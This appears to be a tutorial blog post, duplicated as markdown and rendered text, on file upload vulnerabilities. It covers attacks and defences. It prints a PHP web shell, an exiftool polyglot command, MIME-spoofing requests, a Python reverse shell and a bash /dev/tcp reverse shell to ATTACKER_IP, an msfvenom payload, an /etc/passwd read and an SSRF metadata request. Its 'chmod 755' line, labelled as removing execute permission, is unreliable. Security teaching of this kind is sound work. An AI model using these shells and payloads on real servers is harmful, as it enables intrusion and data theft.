[upl-image-preview uuid=496b206c-f4e8-4066-bc9d-e85a9576dd9f url=https://hacklivly.com/assets/files/2025-03-09/1741538705-927791-file-upload-vulnerabilities.png alt={**File Upload Vulnerabilities**?}] **Hey guys, Rocky here!** 🐱💻 Welcome to **Day 7** of the *Daily Web Hacking* series! So far, we’ve dissected [XSS](https://hacklivly.com/blog/40-web-hacking-series-part-4-cross-site-scripting-xss), [CSRF](https://hacklivly.com/blog/42-web-hacking-series-part-5-the-art-of-csrf-making-users-attack-themselves), and [Burp Suite](https://hacklivly.com/blog/43-web-hacking-series-part-6-burp-suite-101-the-hackers-swiss-army-knife). Today, we’re diving into **Part 7: File Upload Vulnerabilities**—the hack that turns harmless files like `cat.jpg` into malicious `shell.php`. Imagine a Trojan horse disguised as a cute kitten GIF. Let’s break it down! --- ### **What Are File Upload Vulnerabilities?** File upload vulnerabilities occur when a web app allows users to upload files *without proper validation*. Attackers exploit this to: * Upload **web shells** (malicious scripts). * Execute commands on the server. * Steal data, deface sites, or pivot to internal networks. **Why it’s dangerous**: * Ranked **#9** in the OWASP Top 10 ([2021](https://owasp.org/www-project-top-ten/)). * **52% of web apps** have insecure file uploads ([Acunetix, 2023](https://www.acunetix.com/)). * A single malicious file can lead to **full server takeover**. --- ### **How File Upload Attacks Work** Let’s say a site lets users upload profile pictures. If it doesn’t validate files properly: 1. **Attacker uploads** `shell.php` disguised as `cat.jpg`. 2. **Server saves it** to a public directory like `/uploads`. 3. **Attacker visits** `https://site.com/uploads/shell.php`. 4. **Server executes** the PHP code, granting the attacker control. **Key Insight**: The server’s *trust* in uploaded files is the vulnerability. --- ### **Types of File Upload Attacks** #### **1. Web Shell Upload** * **What**: A script that lets attackers run commands via a browser. * **Example (PHP)**: ```php ``` * Access via `https://site.com/uploads/shell.php?cmd=whoami`. #### **2. Malicious File Execution** * **How**: Upload files with double extensions (e.g., `cat.jpg.php`). * **Bypass Technique**: If the app checks only the first extension. #### **3. Overwriting Critical Files** * **Example**: Upload `.htaccess` to override server rules: ```apache AddType application/x-httpd-php .jpg ``` * Now, all `.jpg` files execute as PHP. #### **4. Polyglot Files** * **What**: Files that are valid as multiple types (e.g., a JPEG that’s also PHP). * **Create with ExifTool**: ```bash exiftool -Comment='' cat.jpg -o polyglot.php.jpg ``` --- ### **Real-World Disasters** * **Facebook (2012)**: Malicious JPEGs could execute PHP code. * **ImageMagick (2016)**: `CVE-2016-3714` let attackers upload SVG files to run shell commands. * **Drupal (2018)**: File module flaw allowed PHP uploads. **Lesson**: Even giants fall. --- ### **Step-by-Step Exploitation** **Goal**: Upload a web shell to a vulnerable site. #### **1. Find the Upload Form** * Profile pictures, document uploads, support tickets. #### **2. Test for Validation Bypass** * **Trick 1**: Rename `shell.php` to `shell.php.jpg`. * **Trick 2**: Use Burp to tamper with the `Content-Type` header: ```http Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: image/jpeg # Spoof MIME type ``` #### **3. Upload the File** * If the server responds with a path like `/uploads/shell.php`, you’ve won. #### **4. Execute Commands** * Visit `https://site.com/uploads/shell.php?cmd=id` to see the server’s user. --- ### **Bypassing File Upload Defenses** #### **1. Client-Side Validation** * **Bypass**: Disable JavaScript or use Burp to intercept/modify the request. #### **2. Blacklist Filters** * **Bypass**: Use rare extensions (`.phtml`, `.phar`, `.htaccess`). #### **3. File Type Detection** * **Bypass**: Spoof MIME types or magic bytes (e.g., `GIF89a; `). #### **4. Image Resizing** * **Bypass**: Embed PHP code in image metadata (e.g., EXIF comments). --- ### **Defending Against File Upload Attacks** #### **For Developers** 1. **Use Allowlists, Not Blocklists** * Allow only specific extensions (e.g., `.jpg`, `.png`). * **PHP Example**: ```php $allowed = ['jpg', 'png', 'pdf']; $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION)); if (!in_array($ext, $allowed)) { die("Invalid file!"); } ``` 2. **Validate Content, Not Just Headers** * Use libraries to check file types: * **PHP**: `finfo_file($_FILES['file']['tmp_name'])`. * **Python**: `python-magic` or `filetype`. 3. **Rename Uploaded Files** * Assign random names (e.g., `5a8d3e0.jpg`). ```php $new_name = bin2hex(random_bytes(16)) . "." . $ext; ``` 4. **Store Files Outside the Web Root** * Serve files via a script (e.g., `download.php?file=123`). 5. **Set Proper Permissions** * Ensure uploads directory can’t execute scripts: ```bash chmod 755 uploads # No execute permissions ``` 6. **Scan Files with Antivirus** * Use tools like `ClamAV` to detect malware. #### **For Server Admins** 1. **Disable Execution in Uploads Directory** * **Apache**: ```apache php_flag engine off ``` * **Nginx**: ```nginx location /uploads { deny all; } ``` 2. **Limit File Size** * **PHP**: Set `upload_max_filesize = 5M` in `php.ini`. 3. **Use a Web Application Firewall (WAF)** * Block requests with suspicious filenames or content. --- ### **Tools for Testing File Uploads** #### **1. Burp Suite** * Intercept/modify upload requests. * Test for MIME spoofing and parameter tampering. #### **2. Web Shells** * **PHP**: [PentestMonkey Reverse Shell](https://pentestmonkey.net/tools/web-shells/php-reverse-shell). * **Python**: ```python import socket,subprocess,os s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("ATTACKER_IP",4444)) os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2) subprocess.call(["/bin/sh","-i"]) ``` #### **3. ExifTool** * Inject PHP code into image metadata. #### **4. Metasploit** * Generate payloads with `msfvenom`: ```bash msfvenom -p php/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -o shell.php ``` --- ### **Real-World Attack Walkthrough** **Objective**: Upload a PHP shell to a vulnerable blogging platform. #### **1. Recon** * Find the avatar upload feature at `/profile/upload`. #### **2. Bypass Client-Side Validation** * Rename `shell.php` to `shell.jpg` and intercept with Burp. * Change filename to `shell.php` and MIME type to `image/jpeg`. #### **3. Upload & Execute** * Server saves to `/uploads/avatar_123.php`. * Trigger the shell: ``` https://site.com/uploads/avatar_123.php?cmd=cat+/etc/passwd ``` #### **4. Escalate Access** * Use the shell to spawn a reverse shell: ```bash bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' ``` --- ### **Ethical Hacking & Reporting** **Never** exploit file upload flaws without permission. If you find one: 1. **Document**: Record steps to reproduce. 2. **Report**: Use the site’s security contact or bug bounty program. 3. **Disclose**: Wait for a fix before sharing publicly. --- ### **What’s Next? Part 8: Server-Side Request Forgery (SSRF)** Tomorrow, we’ll explore **SSRF**—tricking servers into fetching internal resources. Sneak peek: ```http GET /proxy?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1 ``` --- ### **Final Thoughts** File upload vulnerabilities are a hacker’s golden ticket. They’re easy to exploit but devastating to defend against. By combining strict validation, server hardening, and constant vigilance, you can turn this attack vector into a fortress. **Remember**: The web’s security is a team effort. Find flaws, report them, and make the internet safer—one upload at a time. **Rocky out!** ✌️ --- **P.S.** If you’re loving this series, share it with your hacking squad! Let’s turn script kiddies into security heroes. **Discussion Question**: What’s the wildest file upload bypass you’ve seen? I once saw a `.php.gif` file that executed code *and* displayed a dancing banana. 🍌💥 Drop your stories below! 👇

Web Hacking Series - Part 7: File Upload Vulnerabilities🐱💀🚀

rocky

{**File Upload Vulnerabilities**?}

Hey guys, Rocky here! 🐱💻

Welcome to Day 7 of the Daily Web Hacking series! So far, we’ve dissected XSS, CSRF, and Burp Suite. Today, we’re diving into Part 7: File Upload Vulnerabilities—the hack that turns harmless files like cat.jpg into malicious shell.php. Imagine a Trojan horse disguised as a cute kitten GIF. Let’s break it down!

—

What Are File Upload Vulnerabilities?

File upload vulnerabilities occur when a web app allows users to upload files without proper validation. Attackers exploit this to:

Upload web shells (malicious scripts).
Execute commands on the server.
Steal data, deface sites, or pivot to internal networks.

Why it’s dangerous:

Ranked #9 in the OWASP Top 10 (2021).
52% of web apps have insecure file uploads (Acunetix, 2023).
A single malicious file can lead to full server takeover.

—

How File Upload Attacks Work

Let’s say a site lets users upload profile pictures. If it doesn’t validate files properly:

Attacker uploads shell.php disguised as cat.jpg.
Server saves it to a public directory like /uploads.
Attacker visits https://site.com/uploads/shell.php.
Server executes the PHP code, granting the attacker control.

Key Insight: The server’s trust in uploaded files is the vulnerability.

—

Types of File Upload Attacks

1. Web Shell Upload

What: A script that lets attackers run commands via a browser.

Example (PHP):

  <?php system($_GET['cmd']); ?>

Access via https://site.com/uploads/shell.php?cmd=whoami.

2. Malicious File Execution

How: Upload files with double extensions (e.g., cat.jpg.php).
Bypass Technique: If the app checks only the first extension.

3. Overwriting Critical Files

Example: Upload .htaccess to override server rules:

  AddType application/x-httpd-php .jpg

Now, all .jpg files execute as PHP.

4. Polyglot Files

What: Files that are valid as multiple types (e.g., a JPEG that’s also PHP).

Create with ExifTool:

  exiftool -Comment='<?php system($_GET["cmd"]); ?>' cat.jpg -o polyglot.php.jpg

—

Real-World Disasters

Facebook (2012): Malicious JPEGs could execute PHP code.
ImageMagick (2016): CVE-2016-3714 let attackers upload SVG files to run shell commands.
Drupal (2018): File module flaw allowed PHP uploads.

Lesson: Even giants fall.

—

Step-by-Step Exploitation

Goal: Upload a web shell to a vulnerable site.

1. Find the Upload Form

Profile pictures, document uploads, support tickets.

2. Test for Validation Bypass

Trick 1: Rename shell.php to shell.php.jpg.

Trick 2: Use Burp to tamper with the Content-Type header:

  Content-Disposition: form-data; name="file"; filename="shell.php"  
  Content-Type: image/jpeg  # Spoof MIME type

3. Upload the File

If the server responds with a path like /uploads/shell.php, you’ve won.

4. Execute Commands

Visit https://site.com/uploads/shell.php?cmd=id to see the server’s user.

—

Bypassing File Upload Defenses

1. Client-Side Validation

Bypass: Disable JavaScript or use Burp to intercept/modify the request.

2. Blacklist Filters

Bypass: Use rare extensions (.phtml, .phar, .htaccess).

3. File Type Detection

Bypass: Spoof MIME types or magic bytes (e.g., GIF89a; <?php ... ?>).

4. Image Resizing

Bypass: Embed PHP code in image metadata (e.g., EXIF comments).

—

Defending Against File Upload Attacks

For Developers

Use Allowlists, Not Blocklists

Allow only specific extensions (e.g., .jpg, .png).

PHP Example:

     $allowed = ['jpg', 'png', 'pdf'];  
     $ext = strtolower(pathinfo($name, PATHINFO_EXTENSION));  
     if (!in_array($ext, $allowed)) { die("Invalid file!"); }

Validate Content, Not Just Headers
- Use libraries to check file types:
  - PHP: finfo_file($_FILES['file']['tmp_name']).
  - Python: python-magic or filetype.

Rename Uploaded Files

Assign random names (e.g., 5a8d3e0.jpg).

   $new_name = bin2hex(random_bytes(16)) . "." . $ext;

Store Files Outside the Web Root
- Serve files via a script (e.g., download.php?file=123).

Set Proper Permissions

Ensure uploads directory can’t execute scripts:

     chmod 755 uploads  # No execute permissions

Scan Files with Antivirus
- Use tools like ClamAV to detect malware.

For Server Admins

Disable Execution in Uploads Directory

Apache:

     <Directory /var/www/uploads>  
       php_flag engine off  
     </Directory>

Nginx:

     location /uploads {  
       deny all;  
     }

Limit File Size
- PHP: Set upload_max_filesize = 5M in php.ini.
Use a Web Application Firewall (WAF)
- Block requests with suspicious filenames or content.

—

Tools for Testing File Uploads

1. Burp Suite

Intercept/modify upload requests.
Test for MIME spoofing and parameter tampering.

2. Web Shells

PHP: PentestMonkey Reverse Shell.

Python:

  import socket,subprocess,os  
  s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
  s.connect(("ATTACKER_IP",4444))  
  os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)  
  subprocess.call(["/bin/sh","-i"])

3. ExifTool

Inject PHP code into image metadata.

4. Metasploit

Generate payloads with msfvenom:

  msfvenom -p php/meterpreter/reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -o shell.php

—

Real-World Attack Walkthrough

Objective: Upload a PHP shell to a vulnerable blogging platform.

1. Recon

Find the avatar upload feature at /profile/upload.

2. Bypass Client-Side Validation

Rename shell.php to shell.jpg and intercept with Burp.
Change filename to shell.php and MIME type to image/jpeg.

3. Upload & Execute

Server saves to /uploads/avatar_123.php.

Trigger the shell:

  https://site.com/uploads/avatar_123.php?cmd=cat+/etc/passwd

4. Escalate Access

Use the shell to spawn a reverse shell:

  bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'

—

Ethical Hacking & Reporting

Never exploit file upload flaws without permission. If you find one:

Document: Record steps to reproduce.
Report: Use the site’s security contact or bug bounty program.
Disclose: Wait for a fix before sharing publicly.

—

What’s Next? Part 8: Server-Side Request Forgery (SSRF)

Tomorrow, we’ll explore SSRF—tricking servers into fetching internal resources. Sneak peek:

GET /proxy?url=http://169.254.169.254/latest/meta-data/ HTTP/1.1

—

Final Thoughts

File upload vulnerabilities are a hacker’s golden ticket. They’re easy to exploit but devastating to defend against. By combining strict validation, server hardening, and constant vigilance, you can turn this attack vector into a fortress.

Remember: The web’s security is a team effort. Find flaws, report them, and make the internet safer—one upload at a time.

Rocky out! ✌️

—

P.S. If you’re loving this series, share it with your hacking squad! Let’s turn script kiddies into security heroes.

Discussion Question: What’s the wildest file upload bypass you’ve seen? I once saw a .php.gif file that executed code and displayed a dancing banana. 🍌💥 Drop your stories below! 👇